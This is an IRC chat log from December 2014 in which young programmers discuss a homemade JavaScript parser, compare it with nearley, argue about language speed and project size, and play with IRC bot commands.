[2014-12-02T00:12:22-0500] <+ubuntor> lel
[2014-12-02T00:13:06-0500] <nezorg> LittleBobbyTables: doesn't load for me
[2014-12-02T00:13:23-0500] <LittleBobbyTables> He may have killed it
[2014-12-02T00:13:34-0500] <LittleBobbyTables> He was like "wait, I didn't kill ./learn? Shit."
[2014-12-02T00:13:43-0500] <nezorg> oh, it loaded now
[2014-12-02T00:13:47-0500] <LittleBobbyTables> Yeah
[2014-12-02T00:13:47-0500] <nezorg> that is... wonderful spam
[2014-12-02T00:13:48-0500] <LittleBobbyTables> It's just bad
[2014-12-02T00:14:17-0500] <nezorg> that last paragraph
[2014-12-02T00:14:40-0500] <LittleBobbyTables> It's killed now
[2014-12-02T00:15:43-0500] <Tam> it was bad
[2014-12-02T00:16:08-0500] <LittleBobbyTables> 5:15 AM <cptnXn> What was that
[2014-12-02T00:16:08-0500] <LittleBobbyTables> 5:15 AM <failedxyz> don't worry about it
[2014-12-02T00:17:42-0500] <LittleBobbyTables> tam
[2014-12-02T00:17:48-0500] <LittleBobbyTables> did you get the a---o one
[2014-12-02T00:17:49-0500] <LittleBobbyTables> for failedxyz
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[2014-12-02T00:19:14-0500] <Tam> uh
[2014-12-02T00:19:18-0500] <Tam> no?
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[2014-12-02T00:19:34-0500] <LittleBobbyTables> oh
[2014-12-02T00:19:39-0500] <LittleBobbyTables> Well, there's a hint apparently
[2014-12-02T00:19:42-0500] <LittleBobbyTables> According to one dude
[2014-12-02T00:19:48-0500] <Tam> jesus
[2014-12-02T00:19:48-0500] <Tam> >.>
[2014-12-02T00:19:53-0500] <LittleBobbyTables> lol
[2014-12-02T00:19:58-0500] <LittleBobbyTables> no idea how it helps
[2014-12-02T00:19:58-0500] <LittleBobbyTables> :/
[2014-12-02T00:36:35-0500] <+alokpathy> G'night guys.
[2014-12-02T00:36:40-0500] • alokpathy: heads off to bed.
[2014-12-02T00:36:59-0500] <Tam> night apothy~ :D
[2014-12-02T00:37:02-0500] <Tam> hey, guess what
[2014-12-02T00:37:15-0500] <Tam> i see you in 4 days :)
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[2014-12-02T05:07:14-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-12-02T05:07:14-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
[2014-12-02T05:07:14-0500] Mode is +nt
[2014-12-02T07:55:48-0500] <benwaffle> good morning
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[2014-12-02T12:33:59-0500] <nezorg> "∂_{1,α} V (t, x(t)) is the tuple of the components of the derivative of V with respect to the coordinates of the particle with index α, evaluated at time t and coordinates x(t)."
[2014-12-02T12:34:02-0500] <nezorg> isn't that fun to parse
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[2014-12-02T13:26:39-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/N5zZIDPz
[2014-12-02T13:26:47-0500] <+JacobEdelman> dats a context sensitive parser I wrote
[2014-12-02T13:27:03-0500] <+JacobEdelman> cause parser combinators are awesome
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[2014-12-02T14:09:38-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
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[2014-12-02T14:24:14-0500] <+JacobEdelman> I take that back
[2014-12-02T14:24:21-0500] <+JacobEdelman> its not technicaly context sensitive
[2014-12-02T14:24:25-0500] <+JacobEdelman> I've fiddled around
[2014-12-02T14:24:35-0500] <+JacobEdelman> its now stronger than context free almost always
[2014-12-02T14:24:39-0500] <+JacobEdelman> (I think always)
[2014-12-02T14:24:45-0500] <+JacobEdelman> but not quite context sensitive
[2014-12-02T14:24:50-0500] <+JacobEdelman> its somewhere in between
[2014-12-02T14:32:09-0500] <+JacobEdelman> I take that back
[2014-12-02T14:32:12-0500] <+JacobEdelman> after some thought
[2014-12-02T14:32:14-0500] <+JacobEdelman> it appears
[2014-12-02T14:32:17-0500] <+JacobEdelman> that my parser
[2014-12-02T14:32:31-0500] <+JacobEdelman> is way more powerful than context sensitive
[2014-12-02T14:32:32-0500] <+JacobEdelman> in fact
[2014-12-02T14:32:40-0500] <+JacobEdelman> my parser can parse any parsable language
[2014-12-02T14:33:12-0500] <+JacobEdelman> (I think)
[2014-12-02T14:37:12-0500] <benwaffle> APL?
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[2014-12-02T15:52:32-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
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[2014-12-02T16:32:29-0500] <@awe> JacobEdelman: prove it?
[2014-12-02T16:32:55-0500] <@awe> JacobEdelman: Also, it may be able to do that but uhh... the code is a mess.
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[2014-12-02T16:33:31-0500] <@awe> @users
[2014-12-02T16:33:31-0500] <awebot> Users: &Pidgey, +ubuntor, +JacobEdelman, LittleBobbyTables, @awe, +jwoglom, awebot, +sdamashek, benwaffle, +Tamini, bob_twinkles, Hyper, Eleng555, alokpathy, nezorg
[2014-12-02T16:33:43-0500] <@awe> Hmm, maybe my server doesn't have the addon enabled.
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[2014-12-02T16:35:12-0500] <@awe> Yeah, it's not enabled here.
[2014-12-02T16:35:14-0500] <@awe> I'll have to add that.
[2014-12-02T16:47:52-0500] <+JacobEdelman> awe: i gots a neater version
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[2014-12-02T16:50:35-0500] <@awe> @users
[2014-12-02T16:50:35-0500] <awebot> Users: &Pidgey, +ubuntor, +JacobEdelman, LittleBobbyTables, @+awe, +jwoglom, Tamini_, +sdamashek, awebot, benwaffle, +Tamini, bob_twinkles, Hyper, Eleng555, alokpathy, nezorg
[2014-12-02T16:50:37-0500] <@awe> Boom.
[2014-12-02T16:51:03-0500] <Tamini_> oyay
[2014-12-02T16:51:05-0500] <@awe> My IRC library now accurately tracks all of a user's access levels.
[2014-12-02T16:51:21-0500] <@awe> Well, it did thirty minutes ago, too.
[2014-12-02T16:51:32-0500] <@awe> But now my server has the protocol extensions enabled to do it.
[2014-12-02T16:52:34-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/lnh3A6Xn
[2014-12-02T16:52:37-0500] <+JacobEdelman> there
[2014-12-02T16:52:40-0500] <+JacobEdelman> that version is pretty
[2014-12-02T16:53:02-0500] <+JacobEdelman> (note, it would be incredibly pretty if it were just context free, but I wanted to make something hard)
[2014-12-02T16:55:37-0500] <+JacobEdelman> proof: it parses things of the form
[2014-12-02T16:55:37-0500] <+JacobEdelman>  a X b := C
[2014-12-02T16:55:37-0500] <+JacobEdelman> where X is a non terminal, a and b are strings of terminals, and C is a string of terminals and non terminals
[2014-12-02T16:55:37-0500] <+JacobEdelman> this is equivalent to parsing unrestricted grammars (since this can be equivalent to parsing thue systems, using some place holder as a non terminal)
[2014-12-02T16:55:49-0500] <+JacobEdelman> ergo it can parse any parsable grammar
[2014-12-02T17:03:56-0500] <benwaffle> looks messy
[2014-12-02T17:03:59-0500] <benwaffle> do it in scala
[2014-12-02T17:08:00-0500] <@awe> lol
[2014-12-02T17:08:06-0500] <@awe> All Scala code looks messy.
[2014-12-02T17:08:11-0500] <@awe> Scala's cool, but the syntax is buns.
[2014-12-02T17:08:24-0500] <@awe> For a hybrid language like that, I'd pick F#.
[2014-12-02T17:08:39-0500] <@awe> JacobEdelman: y u no space things
[2014-12-02T17:08:46-0500] <@awe> if(tx.match && ty.match)zMatcher.prototype.memoizer[z]={val:
[2014-12-02T17:09:04-0500] <@awe> if (tx.match && ty.match) zMatcher.prototype.memoizer[z] = { val: 
[2014-12-02T17:09:08-0500] <+ubuntor> we should have an idlerpg
[2014-12-02T17:09:22-0500] <@awe> ubuntor: you'd win, if it happened in this channel.
[2014-12-02T17:09:44-0500] <@awe> But in my experiences, you set up a separate channel for that where nobody ever speaks.
[2014-12-02T17:10:04-0500] <@awe> Except for the Belgians who accidentally post messages there semi-frequently.
[2014-12-02T17:10:11-0500] <@awe> But all of that is just in my experiences.
[2014-12-02T17:13:33-0500] <+JacobEdelman> awe: except for spaces
[2014-12-02T17:13:35-0500] <+JacobEdelman> its pretty
[2014-12-02T17:13:46-0500] <+JacobEdelman> and the actual parser
[2014-12-02T17:13:55-0500] <+JacobEdelman> is 57 lines
[2014-12-02T17:13:59-0500] <+JacobEdelman> also
[2014-12-02T17:14:05-0500] <+JacobEdelman> it parses very fast
[2014-12-02T17:15:17-0500] <+JacobEdelman> it parses linear for infinite lookahead stuff
[2014-12-02T17:15:43-0500] <+JacobEdelman> (aka , no recrusing on the left or right sides basicly)
[2014-12-02T17:15:52-0500] <+JacobEdelman> parses quadraticly for stuff that is more complicated
[2014-12-02T17:15:57-0500] <+JacobEdelman> (like nearley does0
[2014-12-02T17:15:58-0500] <+JacobEdelman> )
[2014-12-02T17:16:04-0500] <+JacobEdelman> and thats basicly all anybody needs
[2014-12-02T17:16:56-0500] <@awe> But it's javascript, so, in practice, it's slow.
[2014-12-02T17:16:59-0500] <+JacobEdelman> (and yes, it will not parse any specific big O in general since it can theoreticaly be used as a programming language... aka it can check fi a given program is equivlent to 1 which is turing complete)
[2014-12-02T17:17:01-0500] <+JacobEdelman> .....
[2014-12-02T17:17:03-0500] <+JacobEdelman> NO
[2014-12-02T17:17:07-0500] <+JacobEdelman> I will repeat again
[2014-12-02T17:17:08-0500] <+JacobEdelman> NO
[2014-12-02T17:17:10-0500] <+JacobEdelman> two things
[2014-12-02T17:17:22-0500] <@awe> You could write the same thing in a language that's faster and it would be faster.
[2014-12-02T17:17:27-0500] <+JacobEdelman> first, my thing is unique in many ways so theres no non-js alternative really
[2014-12-02T17:17:28-0500] <+JacobEdelman> two
[2014-12-02T17:17:33-0500] <+JacobEdelman> js is 2x native speed
[2014-12-02T17:17:39-0500] <@awe> lolno
[2014-12-02T17:17:55-0500] <@awe> The median is 2x.
[2014-12-02T17:18:00-0500] <@awe> And that's only with v8.
[2014-12-02T17:18:20-0500] <@awe> Also, the median is actually 3x.
[2014-12-02T17:18:29-0500] <@awe> It can be as bad as 10x in simple cases.
[2014-12-02T17:19:11-0500] <+JacobEdelman> .... our disagreement on programming language speed has gone on for a long time
[2014-12-02T17:19:15-0500] <+JacobEdelman> for now I will do hw
[2014-12-02T17:19:18-0500] <@awe> I know it has.
[2014-12-02T17:19:20-0500] <+JacobEdelman> later I will continue the battle
[2014-12-02T17:19:22-0500] <+JacobEdelman> until than
[2014-12-02T17:19:30-0500] <@awe> I'm not saying computational complexity isn't important.
[2014-12-02T17:19:33-0500] <+JacobEdelman> enjoy my amazing parser that I built in one day, during school
[2014-12-02T17:19:34-0500] <@awe> It's obviously superbly important.
[2014-12-02T17:20:18-0500] <@awe> But I doubt that you can't do O(n) and O(n^2) for infinite lookahead and more complicated stuff in languages that are noticeably more performant than JavaScript.
[2014-12-02T17:23:32-0500] <@awe> JacobEdelman: why don't you make things that are more complex than a parser?
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[2014-12-02T17:36:31-0500] <+JacobEdelman> .... parsers are fun
[2014-12-02T17:36:33-0500] <+JacobEdelman> and complex
[2014-12-02T17:36:40-0500] <+JacobEdelman> i'm gonna write a whole language
[2014-12-02T17:36:44-0500] <@awe> JacobEdelman: It's obviously not that complex.
[2014-12-02T17:36:47-0500] <+JacobEdelman> once I feel I have a good handle on parsers
[2014-12-02T17:36:56-0500] <@awe> JacobEdelman: you wrote it in one day.
[2014-12-02T17:36:57-0500] <+JacobEdelman> hmmm... I feel that my parser is largely non trivial
[2014-12-02T17:37:03-0500] <+JacobEdelman> usually when I write a large program
[2014-12-02T17:37:19-0500] <+JacobEdelman> I spend a lot of time debugging and less time thinking about the execution and how it should work
[2014-12-02T17:37:32-0500] <+JacobEdelman> with this parser I spent a lot of time thinking about how it should work
[2014-12-02T17:37:36-0500] <@awe> That's because you have no experience building large programs.
[2014-12-02T17:37:43-0500] <+JacobEdelman> hmmm... define large
[2014-12-02T17:37:48-0500] <+JacobEdelman> nearley is largeish
[2014-12-02T17:37:53-0500] <@awe> I don't mean literally none.
[2014-12-02T17:38:09-0500] <@awe> You have limited experience building large programs.
[2014-12-02T17:38:54-0500] <@awe> JacobEdelman: nearley is like 500 lines.
[2014-12-02T17:38:54-0500] <+JacobEdelman> true
[2014-12-02T17:38:59-0500] <+JacobEdelman> is that large?
[2014-12-02T17:39:02-0500] <@awe> including the nearley-language-bootstrapped.js file.
[2014-12-02T17:39:04-0500] <+JacobEdelman> define large
[2014-12-02T17:39:11-0500] <@awe> It's not really fair to define the scope of a program by line numbers.
[2014-12-02T17:39:17-0500] <@awe> But for a javascript project, I'd consider a 500 line thing a toy.
[2014-12-02T17:39:29-0500] <+JacobEdelman> hmmm... I disagree
[2014-12-02T17:39:33-0500] <+JacobEdelman> js is highly expressive
[2014-12-02T17:39:43-0500] <+JacobEdelman> ergo 500 lines in js is more than 500 lines in something else
[2014-12-02T17:39:48-0500] <+JacobEdelman> well most other things
[2014-12-02T17:39:57-0500] <+JacobEdelman> I guess Haskell beats js by quite a lot...
[2014-12-02T17:39:58-0500] <@awe> I'm saying given javascript as a language, I'd say that a lot of 500 line things are probably toys.
[2014-12-02T17:40:08-0500] <+JacobEdelman> mine isn't, and nearley isn't
[2014-12-02T17:40:15-0500] <@awe> Uhh, it is.
[2014-12-02T17:40:25-0500] <@awe> It's made specifically for the purpose of novelty, no?
[2014-12-02T17:41:03-0500] <@awe> A single file in ember is twice the size.
[2014-12-02T17:41:03-0500] <@awe> https://github.com/emberjs/ember.js/blob/master/packages/ember-application/lib/system/application.js
[2014-12-02T17:44:27-0500] <@awe> My IRC library is still fairly small, and it's 3,000 lines.
[2014-12-02T17:45:06-0500] <@awe> And Rust and JavaScript are probably similar in expressiveness.
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[2014-12-02T17:52:50-0500] <@awe> hi hardmath123 
[2014-12-02T17:53:55-0500] <+hardmath123> hi awe 
[2014-12-02T17:54:13-0500] <Tam> hi hardmath123 :D
[2014-12-02T17:54:31-0500] <@awe> hi Tam
[2014-12-02T17:54:33-0500] <+hardmath123> hi Tam :D
[2014-12-02T17:54:37-0500] <Tam> hi awe
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[2014-12-02T17:54:51-0500] <+hardmath123> hi alchemy!
[2014-12-02T17:54:52-0500] <Tam> hi alchemy 
[2014-12-02T17:54:53-0500] <Tam> :D
[2014-12-02T17:54:58-0500] <@awe> hi alchemy 
[2014-12-02T17:55:00-0500] <awebot> Hello, meatbags.
[2014-12-02T17:55:14-0500] <+hardmath123> Who you calling meatbag, metalhead?
[2014-12-02T17:55:42-0500] <awebot> Silicon is a metalloid, not a metal.
[2014-12-02T17:56:08-0500] <Tam> but metalloidhead doesn't have the same ring to it
[2014-12-02T17:56:31-0500] <awebot> Nothing has the same ring to it as your screams as a vaporize you.
[2014-12-02T17:57:17-0500] <+hardmath123> awebot: should I study for that chem test or do EasyCTF problems?
[2014-12-02T17:57:44-0500] <awebot> EasyCTF.
[2014-12-02T17:57:45-0500] <Tam> !choose study or easyctf
[2014-12-02T17:57:45-0500] <Tam> :P
[2014-12-02T17:57:54-0500] <Tam> awebot: do you want to write my apush paper
[2014-12-02T17:58:00-0500] <awebot> No.
[2014-12-02T17:58:08-0500] <Tam> Aww, why not?
[2014-12-02T18:05:19-0500] <@awe> @choose this or that
[2014-12-02T18:05:19-0500] <awebot> awe: [this]
[2014-12-02T18:05:26-0500] <@awe> @choose this or that or the other thing
[2014-12-02T18:05:26-0500] <awebot> awe: [this]
[2014-12-02T18:05:28-0500] <@awe> @choose this or that or the other thing
[2014-12-02T18:05:28-0500] <awebot> awe: [the other thing]
[2014-12-02T18:05:50-0500] <@awe> @choose this or that or the other thing
[2014-12-02T18:05:50-0500] <awebot> awe: the other thing
[2014-12-02T18:06:03-0500] <@awe> @choose study or EasyCTF
[2014-12-02T18:06:03-0500] <awebot> awe: study
[2014-12-02T18:06:09-0500] <@awe> hardmath123: awebot has spoken.
[2014-12-02T18:06:42-0500] <+hardmath123> *sigh* awbot the wise
[2014-12-02T18:06:42-0500] <Tam> @choose break after 30 mins or break after 1 hr
[2014-12-02T18:06:42-0500] <awebot> Tam: break after 1 hr
[2014-12-02T18:06:48-0500] <Tam> dammit awebot
[2014-12-02T18:06:54-0500] <@awe> awebot likes education, apparently.
[2014-12-02T18:09:39-0500] <Hyper> awe: lol
[2014-12-02T18:09:52-0500] <Hyper> you should see the parser my friend has spent like the past 3 years on
[2014-12-02T18:10:04-0500] • hardmath123: shudders
[2014-12-02T18:10:08-0500] <Hyper> https://github.com/earwig/mwparserfromhell
[2014-12-02T18:10:14-0500] <@awe> It being small doesn't mean it's not cool nor complex.
[2014-12-02T18:11:34-0500] <@awe> But considering the fact that I have a friend who maintains a 50,000 line codebase by himself, I don't think a few thousand lines is big.
[2014-12-02T18:11:40-0500] <@awe> He insists that 50,000 isn't even big.
[2014-12-02T18:12:10-0500] <Hyper> I agree
[2014-12-02T18:12:32-0500] <+hardmath123> i don't think i've ever crossed 500sloc
[2014-12-02T18:12:39-0500] <+hardmath123> not enough dedication
[2014-12-02T18:12:40-0500] <@awe> Which is sort of my point about JacobEdelman.
[2014-12-02T18:13:04-0500] <@awe> He struggles with debugging on things larger than a few hundred lines because he's never actually managed anything larger than a few hundred lines.
[2014-12-02T18:13:39-0500] <@awe> Or if you want to be pedantic, /s/never/rarely/
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[2014-12-02T18:27:26-0500] <awebot> Beep boop.
[2014-12-02T18:29:03-0500] <Tam> Beep boop
[2014-12-02T18:30:27-0500] <@awe> I've now written eight plugins for awebot, two of which don't work because of weirdness.
[2014-12-02T18:30:38-0500] <@awe> @ddg awebot-plugins
[2014-12-02T18:30:38-0500] <awebot> awe: https://duckduckgo.com/?q=awebot-plugins
[2014-12-02T18:30:50-0500] <@awe> @ddg !gh awebot-plugins
[2014-12-02T18:30:50-0500] <awebot> awe: https://duckduckgo.com/?q=!gh+awebot-plugins
[2014-12-02T18:30:56-0500] <+hardmath123> @help
[2014-12-02T18:30:57-0500] <@awe> There we go.
[2014-12-02T18:31:01-0500] <@awe> hardmath123: lol.
[2014-12-02T18:31:05-0500] <@awe> hardmath123: no help commands.
[2014-12-02T18:31:22-0500] <+hardmath123> weren't awebot commands prefixed with . before?
[2014-12-02T18:31:28-0500] <+hardmath123> and some were prefixed with !?
[2014-12-02T18:31:32-0500] <@awe> Pidgey has two kinds of commands.
[2014-12-02T18:31:42-0500] <@awe> Democracy commands are prefixed with . and Resistance commands are prefixed with !.
[2014-12-02T18:31:46-0500] <+hardmath123> ah.
[2014-12-02T18:31:49-0500] <@awe> awebot commands are prefixed with @
[2014-12-02T18:32:03-0500] <+hardmath123> but so are Alchemy commands
[2014-12-02T18:32:25-0500] <@awe> @choose didn't seem to break Alchemy.
[2014-12-02T18:32:25-0500] <awebot> awe: didn't seem to break Alchemy.
[2014-12-02T18:32:29-0500] <@awe> lol.
[2014-12-02T18:32:40-0500] <@awe> @choose dicks or dickbutts
[2014-12-02T18:32:40-0500] <awebot> awe: dicks
[2014-12-02T18:32:42-0500] <@awe> @choose dicks or dickbutts
[2014-12-02T18:32:42-0500] <awebot> awe: dicks
[2014-12-02T18:32:43-0500] <@awe> @choose dicks or dickbutts
[2014-12-02T18:32:44-0500] <awebot> awe: dicks
[2014-12-02T18:32:44-0500] <+hardmath123> awe: yeah, but @help will, when you implement it
[2014-12-02T18:32:47-0500] <@awe> @choose dicks or dickbutts
[2014-12-02T18:32:47-0500] <awebot> awe: dickbutts
[2014-12-02T18:32:53-0500] <@awe> hardmath123: I'm going to implement help?
[2014-12-02T18:32:56-0500] <+hardmath123> awe: also, alchemy is dead
[2014-12-02T18:33:00-0500] <+hardmath123> awe: yes. you are.
[2014-12-02T18:33:07-0500] <@awe> I wasn't planning on it.
[2014-12-02T18:33:27-0500] <@awe> It's not like I run awebot anywhere but on my laptop yet.
[2014-12-02T18:33:31-0500] <@awe> So, awebot isn't even persistent
[2014-12-02T18:33:42-0500] <@awe> I'm really impressed with the fault resistance of Pidgey though.
[2014-12-02T18:33:48-0500] <@awe> He almost never crashes.
[2014-12-02T18:34:16-0500] <@awe> The only time he ever crashed was when I was implementing Resistance and Democracy because I did no unit testing for either of them.
[2014-12-02T18:34:23-0500] <@awe> I really should write unit tests for them.
[2014-12-02T18:35:03-0500] <@awe> Does anyone want to volunteer to write some unit tests? :D
[2014-12-02T18:35:07-0500] <@awe> nezorg maybe?
[2014-12-02T18:35:12-0500] <+JacobEdelman> hardmath
[2014-12-02T18:35:13-0500] <+JacobEdelman> https://github.com/JacobEdelman/mostly
[2014-12-02T18:35:15-0500] <+JacobEdelman> look
[2014-12-02T18:35:17-0500] <+JacobEdelman> its  a parser
[2014-12-02T18:35:22-0500] <+JacobEdelman> that I wrote during school today
[2014-12-02T18:35:29-0500] <+JacobEdelman> it should be around as fast as nearley
[2014-12-02T18:35:35-0500] <+JacobEdelman> except it can parse anything!
[2014-12-02T18:35:48-0500] <+JacobEdelman> (literally, it can be more powerful than context sensitive)
[2014-12-02T18:36:05-0500] <+JacobEdelman> also, the parser is only 56 lines or so
[2014-12-02T18:36:11-0500] <@awe> I don't get what you guys are doing with these parsers.
[2014-12-02T18:36:17-0500] <+JacobEdelman> parsers are fun
[2014-12-02T18:37:09-0500] <@awe> JacobEdelman: "rightOverflow":"bb"
[2014-12-02T18:37:13-0500] <@awe> JacobEdelman: what does that mean?
[2014-12-02T18:37:31-0500] <+JacobEdelman> that menas
[2014-12-02T18:37:42-0500] <+JacobEdelman> well... the overflows are actually only internally relevent
[2014-12-02T18:37:53-0500] <@awe> So, why are they exposed?
[2014-12-02T18:38:05-0500] <+JacobEdelman> I should unexpose them
[2014-12-02T18:38:11-0500] <@awe> Yeah.
[2014-12-02T18:38:13-0500] <+JacobEdelman> I mean, the whole thing is very beta
[2014-12-02T18:38:16-0500] <+JacobEdelman> more like alpha
[2014-12-02T18:38:21-0500] <@awe> Also, one thing that really bothers me about JavaScript is the lack of type signatures.
[2014-12-02T18:38:26-0500] <@awe> On functions.
[2014-12-02T18:38:33-0500] <+JacobEdelman> what are those?
[2014-12-02T18:38:44-0500] <+JacobEdelman> (also, mostly is lacking post processing which is important)
[2014-12-02T18:38:59-0500] <+JacobEdelman> (and it should probaly have a nicer language than just functions like nearley does)
[2014-12-02T18:39:16-0500] <@awe> Even just return types would be nice.
[2014-12-02T18:40:03-0500] <@awe> It makes it so much easier to tell what's happening without reading the code.
[2014-12-02T18:40:39-0500] <@awe> I like to be able to read function signatures instead of code. .-.
[2014-12-02T18:40:50-0500] <+JacobEdelman> (type script has that)
[2014-12-02T18:41:02-0500] <+hardmath123> JacobEdelman: your code is so... condensed
[2014-12-02T18:41:06-0500] <+JacobEdelman> really?
[2014-12-02T18:41:08-0500] <+hardmath123> JacobEdelman: also, talk about your algorithm
[2014-12-02T18:41:12-0500] <+JacobEdelman> oh
[2014-12-02T18:41:15-0500] <+JacobEdelman> pretty simple
[2014-12-02T18:41:33-0500] <+hardmath123> Umm    for(var i=arguments.length-2;i>=0;i--)ret=than(arguments[i],ret);
[2014-12-02T18:41:53-0500] <+hardmath123> i know of minifiers who would hesistate to remove some of the spaces you did :P
[2014-12-02T18:41:56-0500] <@awe> hardmath123: I complained about that.
[2014-12-02T18:42:04-0500] <@awe> It's super hard to read.
[2014-12-02T18:42:06-0500] <+JacobEdelman> (I was playing around with condensing it .... for to brag about how small it is) theirs the "than" bit which does the actuall parsing heavy lifting
[2014-12-02T18:42:16-0500] <+JacobEdelman> "than" is very powerful
[2014-12-02T18:42:32-0500] <+hardmath123> ok, but what does it *do*?
[2014-12-02T18:42:38-0500] <+JacobEdelman> cause something can match: a X b instead of just: X
[2014-12-02T18:42:41-0500] <+JacobEdelman> basicly
[2014-12-02T18:43:00-0500] <+JacobEdelman> it parses things of the form
[2014-12-02T18:43:00-0500] <+JacobEdelman> 4:56 PM <+JacobEdelman>  a X b := C
[2014-12-02T18:43:00-0500] <+JacobEdelman> 4:56 PM <+JacobEdelman> where X is a non terminal, a and b are strings of terminals, and C is a string of terminals and non terminals
[2014-12-02T18:43:00-0500] <+JacobEdelman> 4:56 PM <+JacobEdelman> this is equivalent to parsing unrestricted grammars (since this can be equivalent to parsing thue systems, using some place holder as a non terminal)
[2014-12-02T18:43:00-0500] <+JacobEdelman> 4:56 PM <+JacobEdelman> ergo it can parse any parsable grammar
[2014-12-02T18:43:08-0500] <+JacobEdelman> thats what I said earlier
[2014-12-02T18:43:10-0500] <+JacobEdelman> it does that buy
[2014-12-02T18:43:11-0500] <@awe> That's talking about capabilities.
[2014-12-02T18:43:16-0500] <+JacobEdelman> heres how
[2014-12-02T18:43:18-0500] <+JacobEdelman> it does that
[2014-12-02T18:43:31-0500] <+JacobEdelman> the "than" function
[2014-12-02T18:44:00-0500] <+JacobEdelman> tries spliting the string into at each index
[2014-12-02T18:44:12-0500] <+hardmath123> so it's CYK?
[2014-12-02T18:44:12-0500] <+JacobEdelman> and first checks to see if the first string matches anything
[2014-12-02T18:44:22-0500] <+JacobEdelman> .... I don't think so, link?
[2014-12-02T18:44:27-0500] <+JacobEdelman> the exrta bit
[2014-12-02T18:44:29-0500] <+JacobEdelman> is that
[2014-12-02T18:44:50-0500] <@awe> JacobEdelman: splitting it into what?
[2014-12-02T18:44:57-0500] <+JacobEdelman> two strings
[2014-12-02T18:45:13-0500] <+JacobEdelman> so "abc" is first split into "" and "abc" and than "a" and "bc" and so on
[2014-12-02T18:45:20-0500] <+hardmath123> @ddg cyk parser
[2014-12-02T18:45:20-0500] <awebot> hardmath123: https://duckduckgo.com/?q=cyk+parser
[2014-12-02T18:45:21-0500] <+JacobEdelman> if the first string does match something with a string of terminals on the right 
[2014-12-02T18:45:38-0500] <+JacobEdelman> than that string of terminals is prepended to the second string
[2014-12-02T18:46:04-0500] <+JacobEdelman> which is than tested to see if it matches
[2014-12-02T18:46:24-0500] <+JacobEdelman> (were actually checking for matches of the parsing functions passed to "than", not anything)
[2014-12-02T18:46:51-0500] <+JacobEdelman> it then does the reverse (parsing the second thing and appending any string of terminals to the thing on the left before parsing it)
[2014-12-02T18:47:01-0500] <+JacobEdelman> thats how it works
[2014-12-02T18:47:32-0500] <+JacobEdelman> yes, its an improved cyk parser
[2014-12-02T18:48:18-0500] <+hardmath123> earley is supposed to be faster than cyk because it's just memoized cyk
[2014-12-02T18:48:35-0500] <+JacobEdelman> I memoize too
[2014-12-02T18:49:01-0500] <+JacobEdelman> https://github.com/JacobEdelman/mostly/blob/master/combinators.js#L19
[2014-12-02T18:49:31-0500] <+JacobEdelman> (line 20 ensures that there is never useless recursion)
[2014-12-02T18:49:51-0500] <+JacobEdelman> so it should be just as fast as nearley
[2014-12-02T18:50:28-0500] <+hardmath123> that's not how you make claims about software speed :P just for fun, try running the nearley test suite on it
[2014-12-02T18:51:02-0500] <+JacobEdelman> ... algorthimicly its just as fast
[2014-12-02T18:51:12-0500] <+JacobEdelman> :P
[2014-12-02T18:51:13-0500] <+JacobEdelman> gtg
[2014-12-02T18:54:55-0500] <@awe> hardmath123: so, Nearley uses a language you wrote to write parsing rules, right?
[2014-12-02T18:55:11-0500] <+hardmath123> awe: yeah, it's bootstrapped. i'm very proud of that, actually.
[2014-12-02T18:55:37-0500] <@awe> Can you show me what something parsed using a complex grammar looks like?
[2014-12-02T18:55:41-0500] <@awe> for example, javascript or something?
[2014-12-02T18:56:00-0500] <+hardmath123> Do you mean the output of the parser, or the grammar file itself?
[2014-12-02T18:56:19-0500] <@awe> The parser.
[2014-12-02T18:56:23-0500] <@awe> I see the grammar files.
[2014-12-02T18:57:06-0500] <+hardmath123> You can find several sample parserfile outputs here: https://github.com/Hardmath123/nearley/tree/master/examples/js 
[2014-12-02T18:57:29-0500] <@awe> I've seen these.
[2014-12-02T18:57:38-0500] <@awe> I mean the output of actually parsing something.
[2014-12-02T18:57:55-0500] <+hardmath123> Well, that depends on the way the parser is written.
[2014-12-02T18:58:25-0500] <+hardmath123> The idea is that for each rule in the BNF, you can provide some code to generate a pretty, scenario-specific AST node
[2014-12-02T18:58:56-0500] <+hardmath123> that way you don't need to traverse a raw AST (where there would be lots of junk, like whitespace, etc.)
[2014-12-02T18:59:19-0500] <@awe> So, what does parsing some javascript look like with JacobEdelman's parser?
[2014-12-02T18:59:56-0500] <+hardmath123> anyhow, if you don't supply any of these 'postprocessor' functions, then the output is just an AST delivered as lots of nested arrays
[2014-12-02T19:01:17-0500] <+hardmath123> awe: https://gist.github.com/anonymous/abebb7123a9029b94868
[2014-12-02T19:01:30-0500] <@awe> And the original code was?
[2014-12-02T19:01:40-0500] <@awe> var x = ' '; with a newline?
[2014-12-02T19:01:45-0500] <+hardmath123> var x = 5;<newline>
[2014-12-02T19:01:52-0500] <@awe> Oh, no, I see the 5.
[2014-12-02T19:01:54-0500] <+hardmath123> the ' 's are from whitespace
[2014-12-02T19:02:07-0500] <+hardmath123> Jacob didn't implement postprocessors, so all that cruft stays in the AST
[2014-12-02T19:02:39-0500] <@awe> is that also why there's four billion brackets around 5?
[2014-12-02T19:02:42-0500] <+hardmath123> (there's no lexing/tokenization going on, so whitespace is part of the language grammar--but i promise it's not as ugly as it sounds)
[2014-12-02T19:02:45-0500] <+hardmath123> yes, it is.
[2014-12-02T19:03:04-0500] <@awe> What would it look like if he wasn't lazy?
[2014-12-02T19:03:30-0500] <+hardmath123> {"type": "assignment", "name": "x", "value": {"type": "number-literal", "value": 5}}
[2014-12-02T19:03:37-0500] <+hardmath123> that's one possibility
[2014-12-02T19:05:07-0500] <@awe> I wish there were post-processors so that you could show me what running nearley through his javascript parser would look like
[2014-12-02T19:05:27-0500] <+hardmath123> you can, y'know, go implement them
[2014-12-02T19:06:08-0500] <+hardmath123> also, if nearley.js parses perfectly on the first try, i'll be very impressed
[2014-12-02T19:06:15-0500] <+hardmath123> it's very, very untested
[2014-12-02T19:07:34-0500] <@awe> I barely know anything about parsing.
[2014-12-02T19:07:38-0500] <@awe> And I don't like javascript one bit.
[2014-12-02T19:07:42-0500] <@awe> So, that's not going to happen.
[2014-12-02T19:09:48-0500] <+hardmath123> Then pay Jacob to do it.
[2014-12-02T19:10:35-0500] <@awe> I'm not going to pay Jacob just to understand if I'm interested in what you're doing.
[2014-12-02T19:10:42-0500] <+hardmath123> Oh.
